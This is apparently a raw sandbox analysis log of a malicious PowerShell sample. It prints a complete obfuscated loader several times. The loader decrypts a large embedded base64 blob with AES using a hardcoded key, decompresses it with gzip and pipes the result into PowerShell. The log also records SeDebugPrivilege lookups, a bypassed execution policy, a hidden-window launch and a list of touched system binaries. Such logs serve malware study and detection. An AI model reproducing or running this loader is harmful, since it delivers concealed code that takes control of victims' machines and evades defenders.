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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell -
filepath: C:\Windows\System32\cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
parent_process powershell.exe martian_process C:\Windows\System32\cmd.exe /c powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell -
parent_process powershell.exe martian_process "C:\Windows\system32\cmd.exe" /c powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell -
option -executionpolicy unrestricted value Attempts to bypass execution policy
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy unrestricted value Attempts to bypass execution policy
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe